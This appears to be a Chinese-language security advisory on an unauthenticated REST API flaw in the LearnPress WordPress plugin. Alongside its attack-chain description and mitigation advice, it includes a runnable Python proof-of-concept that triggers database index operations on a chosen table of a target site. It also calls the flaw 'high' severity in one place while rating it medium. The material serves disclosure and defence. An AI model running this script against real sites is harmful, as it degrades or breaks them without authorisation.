IPBUF安全漏洞报告
English
CVE-2025-11372 CVSS 6.5 中危

CVE-2025-11372:LearnPress插件REST接口权限缺失导致未授权数据库破坏

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-11372
漏洞类型
权限提升/未授权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LearnPress – WordPress LMS Plugin

相关标签

CVE-2025-11372LearnPressWordPressREST API权限绕过未授权访问数据库破坏插件漏洞中危漏洞WordPress LMS

漏洞概述

CVE-2025-11372是WordPress学习管理系统插件LearnPress中存在的一个高危安全漏洞。该漏洞存在于插件的管理工具REST API端点中,由于开发者在注册REST路由时将permission_callback设置为__return_true,导致所有请求都会被无条件授权通过,完全跳过了WordPress核心的用户身份验证和权限检查机制。

该漏洞影响LearnPress插件所有4.2.9.2及以下版本,允许未经认证的远程攻击者通过访问/wp-json/lp/v1/admin/tools/create-indexs端点执行破坏性数据库操作。攻击者无需任何凭证即可向该端点发送恶意请求,通过提供数据库表名参数,触发索引创建或重建操作。这些操作可能导致删除现有索引(包括WordPress核心表如wp_options上的索引)、创建重复的配置条目,以及通过大量无意义的索引操作降低数据库查询性能,最终导致网站性能严重下降甚至功能性故障。

该漏洞由Wordfence安全团队的研究员发现并报告,CVSS评分为6.5分,属于中危级别。尽管评分中等,但考虑到该插件在WordPress生态系统中拥有庞大的用户基础(用于构建在线课程和学习平台),且漏洞可被未认证攻击者远程利用,其实际威胁程度不容忽视。WordPress网站管理员应尽快检查并更新插件版本。

技术细节

该漏洞的根本原因在于LearnPress插件在注册REST API路由时未正确实现权限验证。WordPress的REST API框架要求每个注册的路由都必须提供一个permission_callback函数,用于在请求处理之前检查用户是否有权访问该端点。

在LearnPress的inc/rest-api/v1/admin/class-lp-admin-rest-tools-controller.php文件中,开发者将管理工具相关端点(包括create-indexs)的permission_callback设置为WordPress内置的__return_true函数。__return_true是一个简单的回调函数,无论传入什么参数都始终返回布尔值true,这意味着REST API框架认为所有访问这些端点的请求都已通过权限验证。

技术利用路径如下:
1. 攻击者向目标WordPress站点的/wp-json/lp/v1/admin/tools/create-indexs端点发送POST请求;
2. REST API框架调用permission_callback(即__return_true),该函数直接返回true,权限检查被绕过;
3. 请求进入create_indexs回调函数,该函数处理传入的表名参数;
4. 在inc/Databases/class-lp-db.php的create_index方法中(第291行和第316行),插件对指定的数据库表执行索引操作;
5. 攻击者可以指定WordPress核心表(如wp_options),触发索引删除和重建,导致数据完整性受损和性能下降。

漏洞的修复通过commit cf940a437539a803e49136bdff7a53e1f2b2ca44完成,开发者将permission_callback替换为适当的权限检查函数,确保只有具有相应管理权限的用户才能调用这些端点。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过访问/wp-json/端点确认目标WordPress站点安装了LearnPress插件,并验证REST API可用性。
STEP 2
步骤2:端点探测
攻击者发现/wp-json/lp/v1/admin/tools/create-indexs端点存在,且该端点的permission_callback被设置为__return_true。
STEP 3
步骤3:构造恶意请求
攻击者构造包含目标表名(如wp_options)的JSON payload,向create-indexs端点发送POST请求,无需任何认证凭证。
STEP 4
步骤4:权限绕过
REST API框架调用permission_callback(__return_true),无条件返回true,权限检查被完全绕过。
STEP 5
步骤5:执行数据库破坏
请求进入create_indexs回调函数,对指定的数据库表执行索引操作,可能删除现有索引或创建重复配置,导致数据完整性受损和性能下降。
STEP 6
步骤6:影响扩大
攻击者可重复执行操作,持续消耗数据库资源,最终导致WordPress站点性能严重下降或服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11372 - LearnPress Plugin Unauthenticated REST API Exploit Vulnerability: Missing capability checks on Admin Tools REST endpoints """ import requests import sys import argparse def exploit(target_url, table_name="wp_options"): """ Exploit the missing permission check on LearnPress admin tools REST endpoint. The permission_callback is set to __return_true, allowing unauthenticated access. """ endpoint = f"{target_url.rstrip('/')}/wp-json/lp/v1/admin/tools/create-indexs" # Payload to trigger index operations on specified table payload = { "table": table_name, "index_data": [ { "column": "option_name", "index_name": "exploit_index_1", "action": "create" } ] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11372)" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Exploit successful! Index operation executed.") return True else: print("[-] Exploit may have failed. Check response.") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11372 PoC") parser.add_argument("target", help="Target WordPress URL (e.g., https://example.com)") parser.add_argument("--table", default="wp_options", help="Database table to target") args = parser.parse_args() exploit(args.target, args.table)

影响范围

LearnPress Plugin <= 4.2.9.2

防御指南

临时缓解措施
在无法立即升级插件的情况下,可以通过以下方式进行临时缓解:1)使用WAF规则阻止对/wp-json/lp/v1/admin/tools/路径的未认证访问请求;2)在functions.php中添加代码注销LearnPress的管理工具REST路由;3)通过.htaccess或Nginx配置限制REST API的访问IP范围;4)使用Wordfence等安全插件创建自定义规则阻止对相关端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表